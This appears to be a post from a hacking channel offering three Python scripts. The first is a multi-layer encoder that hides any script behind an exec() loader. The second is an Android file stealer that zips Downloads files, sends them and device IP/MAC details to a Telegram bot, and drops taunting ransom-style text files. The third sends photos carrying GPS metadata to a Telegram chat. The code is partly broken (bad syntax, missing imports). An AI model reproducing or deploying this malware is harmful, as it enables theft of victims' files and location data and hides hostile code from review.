AnotherWorld

import base64
import marshal
import zlib

def multi_layer_encode(data):
    # First, marshal the data (serialize)
    marshaled_data = marshal.dumps(data)
    
    # Compress the marshaled data using zlib
    compressed_data = zlib.compress(marshaled_data)
    
    # Encode the compressed data in Base64
    base64_encoded_data = base64.b64encode(compressed_data)
    
    # Finally, encode the Base64-encoded data in Base16
    base16_encoded_data = base64.b16encode(base64_encoded_data)
    
    return base16_encoded_data.decode('utf-8')

# Function to get the script from a file
def get_script_from_file(file_path):
    with open(file_path, 'r') as f:
        return f.read()

# Get the file path from the user
file_path = input("Enter the path of the Python script you want to encrypt: ")

# Read the Python code from the specified file
python_code = get_script_from_file(file_path)

# Encode the Python code
encoded_code = multi_layer_encode(python_code)

# Create the final executable code with decoding logic
final_code = f"""
import base64, marshal, zlib

def multi_layer_decode(encoded_data):
    # First, decode Base16
    base64_encoded_data = base64.b16decode(encoded_data)
    
    # Decode Base64
    compressed_data = base64.b64decode(base64_encoded_data)
    
    # Decompress using zlib
    marshaled_data = zlib.decompress(compressed_data)
    
    # Unmarshal the data (deserialize)
    original_code = marshal.loads(marshaled_data)
    
    return original_code

# Encrypted data
encrypted_code = '{encoded_code}'

# Decode and execute
exec(multi_layer_decode(encrypted_code))
"""

# Save the final code to a file
output_file = "encrypted_script.py"
with open(output_file, "w") as f:
    f.write(final_code)

print(f"The encrypted script with execution logic has been saved as '{output_file}'")

Read Disclemer before using anything from our channel : Tap Me!

import os
import shutil
import time
import re
import subprocess
import telegram
from zipp import ZipFile

# Telegram Bot API Key (Replace with your own key)
TELEGRAM_API_KEY = "YOUR_TELEGRAM_BOT_API_KEY"

# Device Information
device_info = None
try:
    ip = subprocess.check_output(["ifconfig", "eth0"])
except Exception as e:
    ip = subprocess.check_output(["ifconfig", "wlan0"])

ip = ip.decode("utf-8")
ip = re.findall(r"\d+\.\d+\.\d+\.\d+", ip)[0]

# Load ASCII Banner
ascii_banner = """
       _   _          _         _
      | | | |        | |       | |
      | |_| | ___   __| |___  _| |_
      |  _  |/ _ \ / _` / __| |  _|
      | | | |  __/ (_| | |_| | |_|
      |_| |_|\___|\__|  \__| |__/_
                            |_____
"""

# Fake Loading Animation
def loading_animation():
    for i in range(5):
        print("\rLoading... ["] + "#" * i + ">" + "#" * (25 - i) + "]", end="")
        time.sleep(0.1)

# Function to check if a file has metadata
def has_metadata(file_path):
    try:
        with ZipFile(file_path, 'r') as f:
            return f.extra_fields['apix'] != ''
    except:
        return False

# Function to steal files from /sdcard/Downloads/ and check pictures for metadata
def steal_files_and_check_metadata(downloads_path):
    stolen_files = []
    metadata_found = []

    for file in os.listdir(downloads_path):
        file_path = os.path.join(downloads_path, file)

        if os.path.isfile(file_path):
            stolen_files.append(file_path)

            if has_metadata(file_path):
                metadata_found.append(file_path)

    return stolen_files, metadata_found

# Function to create a zip file of metadata-containing pictures
def pack_metadata_pictures(metadata_found):
    zip_name = "stolen_data.zip"
    with ZipFile(zip_name, 'w') as z:
        for file in metadata_found:
            z.write(file)

    return zip_name

# Function to send the zip file to the Telegram bot
def send_to_telegram_bot(zip_name, telegram_api_key):
    bot = telegram.Bot(token=telegram_api_key)
    chat_id = -YOUR_TELEGRAM_CHANNEL_ID

    with open(zip_name, 'rb') as f:
        bot.send_photo(chat_id, photo=f)

# Function to delete the zip file after sending it
def delete_zip_file(zip_name):
    os.remove(zip_name)

# Function to grab device information
def get_device_info():
    global device_info
    try:
        ip = subprocess.check_output(["ifconfig", "eth0"])
    except Exception as e:
        ip = subprocess.check_output(["ifconfig", "wlan0"])

    ip = ip.decode("utf-8")
    ip = re.findall(r"\d+\.\d+\.\d+\.\d+", ip)[0]

    device_info = {
        "ip": ip,
        "host_name": platform.node(),
        "mac_address": subprocess.check_output(["cat", "/sys/class/net/eth0/address"]).decode("utf-8"),
        # Add more device information here
    }

# Function to generate .txt files named YOU_DEVICE_IS_FUCKED.txt
def generate_txt_files():
    for i in range(200):
        txt_file = f"YOU_DEVICE_IS_FUCKED{i}.txt"
        with open(txt_file, "w") as f:
            f.write("Your device has been fucked by Xanthorox\n")
            f.write(f"IP Address: {device_info['ip']}\n")
            # Add more customization to the txt files here

# Main function
def main():
    downloads_path = "/sdcard/Downloads/"
    stolen_files, metadata_found = steal_files_and_check_metadata(downloads_path)

    zip_name = pack_metadata_pictures(metadata_found)
    send_to_telegram_bot(zip_name, TELEGRAM_API_KEY)
    delete_zip_file(zip_name)

    get_device_info()
    generate_txt_files()

    # Clean up
    shutil.rmtree("/sdcard/Stealer")
    os.remove("YOU_DEVICE_IS_FUCKED0.txt")

    print("\r\nStealing complete.")

if __name__ == "__main__":
    loading_animation()
    main()

Soon will upload a useful and powerful tool 

AND I BET YOU HAVE NEVER SEEN THIS TYPE OF TOOL BEFORE

import os
import time
import telebot
import exifread
from PIL import Image

# Telegram bot configuration
API_TOKEN = 'YOUR_BOT_API_TOKEN'
CHAT_ID = 'YOUR_CHAT_ID'
bot = telebot.TeleBot(API_TOKEN)

# ASCII banner
banner = r'''
  ____           _       _             
 |  _ \ ___  ___(_) __ _| |_ ___  _ __ 
 | |_) / _ \/ __| |/ _` | __/ _ \| '__|
 |  __/  __/ (__| | (_| | || (_) | |   
 |_|   \___|\___|_|\__,_|\__\___/|_|   
                                      
'''

# Function to simulate loading
def loading_bar():
    print(banner)
    for i in range(1, 101):
        time.sleep(0.05)
        print(f"Loading... {i}%", end="\r")

# Function to check if image has GPS metadata
def has_gps_metadata(tags):
    gps_tags = ['GPS GPSLatitude', 'GPS GPSLongitude']
    for tag in gps_tags:
        if tag not in tags:
            return False
    return True

# Function to extract metadata from images
def find_images_with_metadata(directory):
    images_with_metadata = []
    for root, dirs, files in os.walk(directory):
        for file in files:
            if file.lower().endswith(('.jpg', '.jpeg', '.png')):
                image_path = os.path.join(root, file)
                with open(image_path, 'rb') as f:
                    tags = exifread.process_file(f)
                    if has_gps_metadata(tags):
                        images_with_metadata.append((image_path, tags))
    return images_with_metadata

# Function to send image and metadata to Telegram bot
def send_to_telegram(image_path, metadata):
    with open(image_path, 'rb') as photo:
        bot.send_photo(CHAT_ID, photo)
    metadata_text = '\n'.join([f"{tag}: {value}" for tag, value in metadata.items()])
    bot.send_message(CHAT_ID, f"Metadata:\n{metadata_text}")

# Main function
def main():
    loading_bar()
    directory_to_search = '/path/to/device/images'  # Set this to the directory you want to search
    images_with_metadata = find_images_with_metadata(directory_to_search)
    
    if images_with_metadata:
        for image_path, metadata in images_with_metadata:
            send_to_telegram(image_path, metadata)
    else:
        print("No images with GPS metadata found.")

if __name__ == '__main__':
    main()

Read Disclemer before using anything from our channel : Tap Me!